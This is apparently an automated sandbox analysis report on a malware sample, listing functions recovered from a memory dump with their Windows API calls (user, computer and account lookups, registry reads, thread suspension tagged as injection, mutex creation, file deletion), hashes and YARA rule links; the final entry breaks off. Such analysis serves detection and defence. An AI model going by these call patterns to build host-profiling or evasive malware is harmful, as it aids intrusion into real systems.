Part of subcall function 00401DA0: LookupAccountNameW.ADVAPI32(00000000,?,00000000,00404DB3,00000000,?,?), ref: 00401E13
Part of subcall function 00401DA0: GetProcessHeap.KERNEL32(00000008,00404DB3), ref: 00401E1E
Part of subcall function 00401DA0: HeapAlloc.KERNEL32(00000000), ref: 00401E21
Part of subcall function 00401DA0: GetProcessHeap.KERNEL32(00000008,?), ref: 00401E31
Part of subcall function 00401DA0: HeapAlloc.KERNEL32(00000000), ref: 00401E34
Part of subcall function 00401DA0: LookupAccountNameW.ADVAPI32(00000000,?,00000000,00404DB3,00000000,?,?), ref: 00401E5E
Part of subcall function 00401DA0: ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00401E71

LoadLibraryA.KERNEL32(00000000), ref: 0040CABA
GetProcAddress.KERNEL32(00000000,000002A8), ref: 0040CB14
FreeLibrary.KERNEL32(00000000), ref: 0040CB1F
GetUserNameW.ADVAPI32(?,00000100), ref: 0040CB92
GetComputerNameExW.KERNEL32(00000002,?,00000100,?,?,?), ref: 0040CC72

Part of subcall function 0040EBB0: Concurrency::cancel_current_task.LIBCPMT ref: 0040EC64

Strings

7b2f25, xrefs: 0040CED8
152138533219, xrefs: 0040CD57

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: HeapName$AllocProcessUser$AccountLibraryLookupVersion$AddressComputerConcurrency::cancel_current_taskConvertFreeLoadProcString
String ID: 152138533219$7b2f25
API String ID: 1144133639-867942324
Opcode ID: 0e06dda9d5db41a9d3f4183e6dd440f29323e98504153c73201a9a5680197198
Instruction ID: b7c5e4e26636081960b60e2d6e04c8a2bdc39f5ed75c2de5dfaf4cd18ab87869
Opcode Fuzzy Hash: 0e06dda9d5db41a9d3f4183e6dd440f29323e98504153c73201a9a5680197198
Instruction Fuzzy Hash: 60B2F871E001144BEF29DB68CD8979DB6369B82304F1086BEE409B72D6DB3D9FC88B55

Uniqueness

Uniqueness Score: -1.00%

Function 00412943, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00412875), ref: 00412965
GetFileInformationByHandle.KERNEL32(?,?), ref: 004129BF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00412875,?,000000FF,00000000,00000000), ref: 00412A4D
__dosmaperr.LIBCMT ref: 00412A54
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00412A91

Part of subcall function 00412CB9: __dosmaperr.LIBCMT ref: 00412CEE

Strings

u(A, xrefs: 0041295D

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID: u(A
API String ID: 1206951868-4059933701
Opcode ID: 4bfe7f256ae4700fa39f8659a13ca9f0b4f5978f8abe38c296e88adaabae0c9b
Instruction ID: eb81c5419ffea4406b0efb4a1d543400d364a86dfd5a8c9f72f57ba91cdce05f
Opcode Fuzzy Hash: 4bfe7f256ae4700fa39f8659a13ca9f0b4f5978f8abe38c296e88adaabae0c9b
Instruction Fuzzy Hash: 44418C71900604AFCB34DFA6DD459EFBBF9EF88340B04452EF856D3610E678A891CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00403D90, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 108registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00000001,w@,?,00000000), ref: 00403DD1
RegQueryValueExA.KERNEL32(w@,?,00000000,00000000,?,00000400,?,00000000), ref: 00403DF9
RegCloseKey.ADVAPI32(w@,?,00000000), ref: 00403E02

Strings

w@, xrefs: 00403DC0, 00403DFF, 00403DF6, 00403DCA
5s@, xrefs: 004045F3, 004045FD, 00404606

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseOpenQueryValue
String ID: 5s@$w@
API String ID: 3677997916-1291319353
Opcode ID: 5ac4feffc4914509c5cc9e16feefddd1e7362089d87052ae3e283b0778d69a65
Instruction ID: 38721d32f762b9fefe1b8a736805a5cf5728d919649d99199a1cf5c7eaf7711f
Opcode Fuzzy Hash: 5ac4feffc4914509c5cc9e16feefddd1e7362089d87052ae3e283b0778d69a65
Instruction Fuzzy Hash: F231D671200109AFEB18CF24CD45BEE7B79EB85309F10426DF945A72C1DB79DB858BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004042C0, Relevance: 7.6, APIs: 5, Instructions: 146libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,?,00000000), ref: 00404316
GetModuleHandleA.KERNEL32(00000000,00000000), ref: 00404375
GetProcAddress.KERNEL32(00000000), ref: 0040437C
GetNativeSystemInfo.KERNEL32(?), ref: 00404414

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressHandleInfoModuleNativeProcSystemVersion
String ID:
API String ID: 2167034304-0
Opcode ID: 6112749a181fd94d1bf516f172dc95a23639305348d8575057fd66d5ce35c959
Instruction ID: 2bdbf834d18c98f0266b91bd9d27062e97bf86159962dad3da879a362ef21e0a
Opcode Fuzzy Hash: 6112749a181fd94d1bf516f172dc95a23639305348d8575057fd66d5ce35c959
Instruction Fuzzy Hash: B54148B0E002189BDB24AB68DC4A79EB774EF82314F50427AED00B73C1EB39598487D9

Uniqueness

Uniqueness Score: -1.00%

Function 00405D50, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 188COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00405E9F

Strings

jjjj, xrefs: 004069BB
jjj, xrefs: 004069D6
jjh, xrefs: 004069A4

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: __fread_nolock
String ID: jjh$jjj$jjjj
API String ID: 2638373210-3331015499
Opcode ID: d8068930615b8e0fcbac49c5fc1977d598775fc0199458225860c4b618e4a61d
Instruction ID: 6dcfc28a1c27a10699bf76249715ad2168f080e34cf67132610363a96dbcee28
Opcode Fuzzy Hash: d8068930615b8e0fcbac49c5fc1977d598775fc0199458225860c4b618e4a61d
Instruction Fuzzy Hash: B15134716101056BDB08EB39CD86BDF3A25EF86304F40453EF814AB2D2D67DDA90CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00417645, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(R'A,?,00412752,?,?,?,?), ref: 0041764D
GetLastError.KERNEL32(?,00412752,?,?,?,?), ref: 00417657
__dosmaperr.LIBCMT ref: 0041765E

Strings

R'A, xrefs: 0041764A

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: DeleteErrorFileLast__dosmaperr
String ID: R'A
API String ID: 1545401867-1265098927
Opcode ID: 642908a0dadcc0e497a82d1997887354a94cf152b244e97cb43b380a1c2970e3
Instruction ID: 056ef9c38fad87361dd2ee2fac34696856f64910ee6b24fca729f867d5a66b34
Opcode Fuzzy Hash: 642908a0dadcc0e497a82d1997887354a94cf152b244e97cb43b380a1c2970e3
Instruction Fuzzy Hash: B5D02232308208378B202FF6BC0C86B3F1C8E803343400676F82CC02A0DE39C8928548

Uniqueness

Uniqueness Score: -1.00%

Function 004049F0, Relevance: 6.3, APIs: 4, Instructions: 281COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?,?), ref: 00404A0D

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: fad4c5a827140be0ecabf0cab783230754bfc2af80fe8ceb33fcf1f1fa68a928
Instruction ID: 5141bb21011ee4f5ddda17bca2f86b4db84e193de05cbf01f60eefdb05fbe3fb
Opcode Fuzzy Hash: fad4c5a827140be0ecabf0cab783230754bfc2af80fe8ceb33fcf1f1fa68a928
Instruction Fuzzy Hash: 0E910570E00109ABDF14EFA9DC85BEEBBB9EF84304F50416EE501B7281D7796A45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00402890, Relevance: 4.6, APIs: 3, Instructions: 127threadsleepinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 0040EF20: Concurrency::cancel_current_task.LIBCPMT ref: 0040F041

CreateThread.KERNEL32(00000000,00000000,00402820,00000000,00000000,00000000), ref: 004028F6
Sleep.KERNEL32(00001388,?,?,?,?,?,?,?,?,00409323,?,00000000,00000000), ref: 00402903
SuspendThread.KERNEL32(00000000,?,?,?,?,?,?,?,?,00409323,?,00000000,00000000), ref: 0040290A

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Thread$Concurrency::cancel_current_taskCreateSleepSuspend
String ID:
API String ID: 1039963361-0
Opcode ID: 1d29f4579673e562b0f1a97b7512882420421ebc2a96343d10ff3491fa742d22
Instruction ID: 9789403ed1d8a60cfd9dcce85231cf1f3a960594b6cceb2f2029b4867e38d107
Opcode Fuzzy Hash: 1d29f4579673e562b0f1a97b7512882420421ebc2a96343d10ff3491fa742d22
Instruction Fuzzy Hash: 4E411671310248ABEB18CF28CE89B9D3B56EF86314F50863AF845A72D6C77DD4C08B58

Uniqueness

Uniqueness Score: -1.00%

Function 0041EAAA, Relevance: 4.6, APIs: 3, Instructions: 79COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041EB1D
_free.LIBCMT ref: 0041EB73

Part of subcall function 0041E94F: _free.LIBCMT ref: 0041E9A7
Part of subcall function 0041E94F: GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0042B608), ref: 0041E9B9

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: 96b0574e74b5bb352500b23f1e5879b9fd07344d4e3f5249e7b4eee1df732f6b
Instruction ID: ace21171c3c18d66e1851376e7815d4a61efc0610b71bac9099fccd9b772e005
Opcode Fuzzy Hash: 96b0574e74b5bb352500b23f1e5879b9fd07344d4e3f5249e7b4eee1df732f6b
Instruction Fuzzy Hash: F421497590412896C730E7279C81EEBB3688F40324F1102ABED96A2181DA38ADC1899D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BEBF, Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0041BEC8
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041BF36

Part of subcall function 0041BDDB: WideCharToMultiByte.KERNEL32(00403D80,00000000,0042E0B8,00000000,00403D80,00403D80,00418DE7,?,0042E0B8,?,00000000,?,00418B56,0000FDE9,00000000,?), ref: 0041BE7D

Part of subcall function 00416AEA: RtlAllocateHeap.NTDLL(00000000,0040E3EC,?,?,0040FD13,0040E3EC,?,0040EC38,E8004311,76D26490), ref: 00416B1C

_free.LIBCMT ref: 0041BF27

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: EnvironmentStrings$AllocateByteCharFreeHeapMultiWide_free
String ID:
API String ID: 2560199156-0
Opcode ID: ea311191567779115b02df259ed9cc976b0a9e176af169aa3dad732dc8296b2d
Instruction ID: 2da97e26a722610fe67cfe7285302d58499ea0745e26d3de9c95508fb0f436a4
Opcode Fuzzy Hash: ea311191567779115b02df259ed9cc976b0a9e176af169aa3dad732dc8296b2d
Instruction Fuzzy Hash: 6B01A7726057117B273126B71C89CFB696DCEC6BA4315012AFD00D2245EF69CD83C5F9

Uniqueness

Uniqueness Score: -1.00%

Function 00405A87, Relevance: 3.2, APIs: 2, Instructions: 217COMMON

Download Yara Rule

APIs

Part of subcall function 004049F0: GetTempPathW.KERNEL32(00000104,?,?,?), ref: 0040470E

GetFileAttributesA.KERNEL32(00000000), ref: 00405AC4
GetFileAttributesA.KERNEL32(00000000), ref: 00405BEB

Part of subcall function 00404010: GetVersionExW.KERNEL32(0000011C,?,?,80000001), ref: 00404066

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile$PathTempVersion
String ID:
API String ID: 2626274839-0
Opcode ID: 9211d7c1796de0b23b4f0f64aae077843e196efea9751249a0cc95e7b219f4d6
Instruction ID: b7af99aa28748ad154c4451e2d0904c5c071e02b78cac4886ec2c498b2a184ee
Opcode Fuzzy Hash: 9211d7c1796de0b23b4f0f64aae077843e196efea9751249a0cc95e7b219f4d6
Instruction Fuzzy Hash: 4D610871A006045BEB1CDB28DD8AB6FB672DF82304F24463EE411B72D6D77DA9848F49

Uniqueness

Uniqueness Score: -1.00%

Function 00404DE0, Relevance: 3.1, APIs: 2, Instructions: 96synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(00000000,00000000,?), ref: 00404E41
GetLastError.KERNEL32(?,00000000), ref: 00404E47

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: f07b344fcf1cdf5ebb5b151fa8a5b5ca7edfa19d09c55e8604bf95ea5060e708
Instruction ID: 2e9549398049608871f2d66a8051869272746d0e27d8f52d4ac77c378fe54d7e
Opcode Fuzzy Hash: f07b344fcf1cdf5ebb5b151fa8a5b5ca7edfa19d09c55e8604bf95ea5060e708
Instruction Fuzzy Hash: DF31F171A000099BCB18DF68C884BAEB7B1FF85301F60417AE211F76D1D73CAA858B98

Uniqueness

Uniqueness Score: -1.00%

Function 004127DB, Relevance: 3.1, APIs: 2, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f52d14a54af1da4892a82c8f608525e33545e135e620db0d4329ff52d0d349d2
Instruction ID: b000caf9ad398e947894924073d21304d32da157b7d833cd6c9558a0c5638c97
Opcode Fuzzy Hash: f52d14a54af1da4892a82c8f608525e33545e135e620db0d4329ff52d0d349d2
Instruction Fuzzy Hash: 3F21F7315011087EEB117BA9DD42BDE7728AF4137CF20032AF9206B2D0DBB85E9586A9

Uniqueness

Uniqueness Score: -1.00%

Function 00412AB3, Relevance: 3.1, APIs: 2, Instructions: 54timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(00000000,?,?,?,?,004129EA,?,?,00000000,00000000), ref: 00412AE1
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,004129EA,?,?,00000000,00000000), ref: 00412AF5

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 09773b064c24995cd91c4ff6052377d8dead163c09f9d9a21a5ae8624ddc24ed
Instruction ID: 4402b726b5dbc39d0ecc2f00a2bbfcb965d6195dac46cad3f04607e4bb626cfe
Opcode Fuzzy Hash: 09773b064c24995cd91c4ff6052377d8dead163c09f9d9a21a5ae8624ddc24ed
Instruction Fuzzy Hash: 7811067690420CABCB11DFE5C984ADF77BCAF08310F504267E516E6180EA74FA99CB65

Uniqueness

Uniqueness Score: -1.00%

Function 004151DE, Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00415226

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 852a5d5e6fda3380e7aa9c232198e5da2cfac743343e3e660ca1e4fb1c787c7a
Instruction ID: 54e5736bf439b03706d62c3d25b936a259c77376b6810aee24fe4131f124c25a
Opcode Fuzzy Hash: 852a5d5e6fda3380e7aa9c232198e5da2cfac743343e3e660ca1e4fb1c787c7a
Instruction Fuzzy Hash: 38E03933A55910D2A226767B7C462FA16859BC1379F22027BE424D62E0EF7888C2499E

Uniqueness

Uniqueness Score: -1.00%

Function 00404F35, Relevance: 1.6, APIs: 1, Instructions: 105COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00404F3E

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d6f2632b0c95fd128561d29d5cb50af897ab81735f03d81d77b4c99cff7e7ba1
Instruction ID: 74954f3a5565af6f4a2a72e75f99fb6efd97cd0c7dc4613c37333c00011d701c
Opcode Fuzzy Hash: d6f2632b0c95fd128561d29d5cb50af897ab81735f03d81d77b4c99cff7e7ba1
Instruction Fuzzy Hash: 8B2134717005015BEB18DA68DD89B5EBA62DF82314F20863FE414A77E6D73D99848B88

Uniqueness

Uniqueness Score: -1.00%

Function 00405062, Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405065

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: de39b417c760c38c22cd2ffd6b78b2605ebde32227b2e852b204887c41cd4f1d
Instruction ID: 138a4cbb795096ab85b48a2a8cc915b8bf06cd15740dab91d9d570bfc98b4d0f
Opcode Fuzzy Hash: de39b417c760c38c22cd2ffd6b78b2605ebde32227b2e852b204887c41cd4f1d
Instruction Fuzzy Hash: 4721F631B1050557EB18DB28DD8976EB662EF82314F20863EE054BB7D6C77E99848B48

Uniqueness

Uniqueness Score: -1.00%

Function 004053D7, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004053DA

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 34429bb1b2acdeda85e52d19a343c26f2b64d0eac23ae70abda18ada82a03d2e
Instruction ID: 433a540059d314d4c7fa6b5cf96e7d0f0b5b89127f2e3011dac7becd2b3fabfb
Opcode Fuzzy Hash: 34429bb1b2acdeda85e52d19a343c26f2b64d0eac23ae70abda18ada82a03d2e
Instruction Fuzzy Hash: 9B21263171050457EB18CBB8DD8879EBA62DF82315F208A3EE014A77D6D77D89C08F48

Uniqueness

Uniqueness Score: -1.00%

Function 004054FE, Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405501

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 491f00d30a11183eeaa1c7c7f84b52e3e97b2ad095315db2e29001890e9ead6e
Instruction ID: 9ce4b038cc8d48b941b7e1cec4e1f8661994a8945f8bfbbe2ccd46c8fdfadc6b
Opcode Fuzzy Hash: 491f00d30a11183eeaa1c7c7f84b52e3e97b2ad095315db2e29001890e9ead6e
Instruction Fuzzy Hash: 4E21E9316106056BEB18CA68DD8576EBA63DF86314F20863EE415A73D9C77D99808B48

Uniqueness

Uniqueness Score: -1.00%

Function 00405625, Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405628

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8d871ac5a824caca4452fd6fbcf232964abaa47df896974a30ef3682a3dbffd8
Instruction ID: 8d678e0a9b03d31d5be3fe8acc34f6a8e8c8bf695d2763d553306c4d338ee19a
Opcode Fuzzy Hash: 8d871ac5a824caca4452fd6fbcf232964abaa47df896974a30ef3682a3dbffd8
Instruction Fuzzy Hash: DC21263170090457EB18DA38DE8975EB762DF82318F608A3FE015A73D6C77E89818B48

Uniqueness

Uniqueness Score: -1.00%

Function 0040574C, Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0040574F

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5334deb5daac5df5c4792a525a389d5042f911c59105f8a8329c0b10087af90f
Instruction ID: 13160ced8d59e3165ef8dd6ab2dd05e539b259de3c0aded1c6efbad7229dde10
Opcode Fuzzy Hash: 5334deb5daac5df5c4792a525a389d5042f911c59105f8a8329c0b10087af90f
Instruction Fuzzy Hash: F6213A317106049BDB1CDB78DD8975EB662DF82314F20863FE454A77D6C77D99808B48

Uniqueness

Uniqueness Score: -1.00%

Function 00405873, Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405876

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 304c310791695892d5a261b67b495817e1ad2994e39e1dcd26f3878d65dcb3aa
Instruction ID: 87156ac5431d2fa57a8017f109ed4051e7dc88297cd24f5bcda7db2315a0642d
Opcode Fuzzy Hash: 304c310791695892d5a261b67b495817e1ad2994e39e1dcd26f3878d65dcb3aa
Instruction Fuzzy Hash: 15210971B005059BEB1C9B78DD8976EB762DF82314F208A3FE450A73D6D77D59804B88

Uniqueness

Uniqueness Score: -1.00%

Function 0041645F, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00416499

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: a9ccdfc2be8a8c5bf3af093da8c97f9743254d288b4b4ff1e7692456254f3035
Instruction ID: cc3595f79466ffb933f834505881ae592987a4573fa10b2810df313edb08b8ed
Opcode Fuzzy Hash: a9ccdfc2be8a8c5bf3af093da8c97f9743254d288b4b4ff1e7692456254f3035
Instruction Fuzzy Hash: 6F111871A0410AAFCF05DF58E9419DB7BF5EF48308F1540AAF809AB351D634E911CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00417B94, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 0041AD8F: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00417094,00000001,00000364,00000008,000000FF,?,?,0040FD13,0040E3EC,?,0040EC38,E8004311), ref: 0041ADD0

_free.LIBCMT ref: 00417C03

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 0cf873de86ff1509048b2d9677ac235734e71833ea96ae7a256d4af9f5700417
Instruction ID: 6038a120f2f5f0963113716df60a6a75e4e30615b6bbddb6721db5df5d3eaf28
Opcode Fuzzy Hash: 0cf873de86ff1509048b2d9677ac235734e71833ea96ae7a256d4af9f5700417
Instruction Fuzzy Hash: 810189726083126BC3218F58C8819DAFBA8FB04374F00062EE441A36C0E7746C50C7E8

Uniqueness

Uniqueness Score: -1.00%

Function 00412769, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004127D0

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 37700dd88deea54bdcb2886b04f3ff1d4b1f1d2d827f433a59b2a57d76293111
Instruction ID: e9cf385988e908a3be5076aba6c9210a8c4e29e80755c82aff425a49e28798b7
Opcode Fuzzy Hash: 37700dd88deea54bdcb2886b04f3ff1d4b1f1d2d827f433a59b2a57d76293111
Instruction Fuzzy Hash: E2018872C04109BEDF019FA49D417EF7BF4AB04314F10416BE424E11D1EAB48AE0C798

Uniqueness

Uniqueness Score: -1.00%

Function 004126FF, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041275E

Part of subcall function 00417645: DeleteFileW.KERNEL32(R'A,?,00412752,?,?,?,?), ref: 0041764D
Part of subcall function 00417645: GetLastError.KERNEL32(?,00412752,?,?,?,?), ref: 00417657
Part of subcall function 00417645: __dosmaperr.LIBCMT ref: 0041765E

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: DeleteErrorFileLast__dosmaperr_free
String ID:
API String ID: 3353641461-0
Opcode ID: 9ae0e19ef64f5093953115a5dba9c7d0d6d348911aef452eb829f6ac0bb9f163
Instruction ID: 378ffb9617e9102469bd162a9a0c44634e38492000892d74210f2090c73e18cf
Opcode Fuzzy Hash: 9ae0e19ef64f5093953115a5dba9c7d0d6d348911aef452eb829f6ac0bb9f163
Instruction Fuzzy Hash: C3018671D05119AEDF00ABB9DD417EFBBF49B04328F14016BE425E21D1E6B48AD1C799

Uniqueness

Uniqueness Score: -1.00%

Function 0041DB6A, Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041DBCD

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 24e3c007ec57d6ebd588f531e7a99f6d1e537632e71a79deff46e0281b5a7d00
Instruction ID: bdd6835059e051d86575645b9de8beb1e9075d51f21cadee273f298d98b7e4ab
Opcode Fuzzy Hash: 24e3c007ec57d6ebd588f531e7a99f6d1e537632e71a79deff46e0281b5a7d00
Instruction Fuzzy Hash: B5018FB2C05159BFCF01AFA8CC019EE7FB5AF08314F14016AF925E21A1E6359AA0DB84

Uniqueness

Uniqueness Score: -1.00%

Function 026DA5CE, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 026DA616

Memory Dump Source

Source File: 00000021.00000002.512872145.00000000026D9000.00000040.00000001.sdmp, Offset: 026D9000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
